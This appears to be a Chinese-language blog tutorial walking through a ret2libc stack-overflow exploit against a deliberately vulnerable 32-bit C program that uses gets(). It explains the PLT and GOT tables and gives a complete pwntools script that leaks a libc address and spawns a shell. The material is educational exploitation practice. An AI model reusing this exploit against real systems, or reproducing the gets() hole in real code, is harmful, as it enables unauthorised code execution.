程序:
#include<stdio.h>
char buf2[10] = "this is buf2";
void vul()
{char buf1[10];gets(buf1);
}
void main()
{write(1,"sinxx",5);vul();
}
很明顯,gets函數存在溢出
編譯:
gcc -no-pie -fno-stack-protector -m32 -o 9.exe 9.c
我們要用溢出,執行system("/bin/sh")函數
0x01 了解plt和got表
具體了解,看這篇文章:https://blog.csdn.net/qq_18661257/article/details/54694748
為了更好的用戶體驗和內存CPU的利用率,程序編譯時會采用兩種表進行輔助,一個為PLT表,一個為GOT表,PLT表可以稱為內部函數表,GOT表為全局函數表(也可以說是動態函數表這是個人自稱),這兩個表是相對應的,什么叫做相對應呢,PLT表中的數據就是GOT表中的一個地址,可以理解為一定是一一對應的,如下圖:
實際當中并不是,這里只是為了方便理解,畫成這樣,具體可看上面的文章
PLT表中的每一項的數據內容都是對應的GOT表中一項的地址這個是固定不變的,到這里大家也知道了PLTPLT表中的數據根本不是函數的真實地址,而是GOT表項的地址,好坑啊。
其實在大家進入帶有@plt標志的函數時,這個函數其實就是個過渡作用,因為GOT表項中的數據才是函數最終的地址,而PLT表中的數據又是GOT表項的地址,我們就可以通過PLT表跳轉到GOT表來得到函數真正的地址。
我們反匯編我們的程序,其中有下圖中的write<@plt> ,這個地址并不是write函數真正的地址,這個是GOT表存放write函數地址數據的地址。
我們要記得plt表中并不是函數真是的地址,got表才是函數真正的地址,plt給的地址是來尋找got表中真正的函數地址。
0x02 分析
我們來看看保護機制:
雖然關閉了PIE,這個只是對這個程序來說沒有PIE,當我們去執行system("/bin/sh"),動態調用,這個還是有地址隨機化的。
我們要找到system和/bin/sh真正的地址,采用利用溢出去執行。
0x03 找到溢出點
利用pade生成100個字符
pattern create 100
使用命令c,讓程序繼續執行,復制我們生成的字符串,注意單引號不要復制
溢出了,查看現在的EIP,AA(A
使用命令查看溢出位置
pattern offset AA(A
溢出在22
0x04 構造poc
from pwn import *
context(arch="i386",os="linux")
p=process("9.exe")
e=ELF("9.exe") #加載9.exe這個文件
addr_write=e.plt["write"] #找到plt表中write地址
addr_gets=e.got["gets"] #找到got表中get地址
addr_vul=e.symbols["vul"] #找到vul函數地址print pidof(p)
offset=22
pause()payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)
p.sendlineafter("sinxx",payload1) #接收sinxx后發送payload1
gets_real_addr=u32(p.recv(4)) #將接收到的字符變成32位地址libc=ELF("/lib/i386-linux-gnu/libc.so.6")
rva_libc=gets_real_addr-libc.symbols["gets"]
addr_system=rva_libc+libc.symbols["system"]
addr_binsh=rva_libc+libc.search("/bin/sh").next()payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)
p.sendline(payload2)
p.interactive()
解釋:
- addr_write=e.plt[“write”] #找到plt表中write地址
這個是找plt表中的地址,程序調用函數是先調用plt表中的地址,然后根據這個去找got表中真實的函數地址。 - addr_gets=e.got[“gets”] #找到got表中get地址
這個是找到gets函數真正的地址,是為了后面找system和/bin/sh真實地址做準備的 - rva_libc=gets_real_addr-libc.symbols[“gets”]
gets_real_addr是gets真實的地址,libc.symbols[“gets”]是gets在libc中的偏移地址,真實地址與偏移地址是不一樣的,我們可以根據這個差,然后找到system和/bin/sh在libc中偏移地址,兩者在相加就找到了system和/bin/sh的真實地址。
注意:poc中一共執行了兩次poc,一次是執行按照執行順序執行力一次,一次是payload1中執行執行了一次
很多人就有疑問了,我們為什么不直接找到system和/bin/sh在got的地址呢?
我們也想找到啊!關鍵它得有啊!
為了更好的用戶體驗和內存CPU的利用率,程序編譯時會采用兩種表進行輔助,一個為PLT表,一個為GOT表,PLT和GOT是程序編譯時采用,所以system和/bin/sh并不在程序中,所以沒有。
結果:
0x05 總結
我們利用溢出執行了程序沒有的函數,雖然程序中是沒有地址隨機化的,但我們利用溢出去執行的函數所在的模塊是有的,所以我們要把每次的變化求出來。
我們根據程序使用了libc庫,libc庫中有system和.bin/sh,所以我們可在libc找到system和.bin/sh,在libc中,我們找出system和.bin/sh的地址是偏移地址,但不是真正的地址,所以我們還需要計算出偏移量,根據gets函數,找到gets在GOT表中真實的地址,再找出在libc庫的偏移地址,兩者相減就找出了偏移量,最后根據偏移量和出system和.bin/sh的偏移地址,最終找到system和/bin/sh真實地址
關鍵是理解plt、got和偏移地址的關系,其他很好理解
注:自己理解,如有錯誤,請指出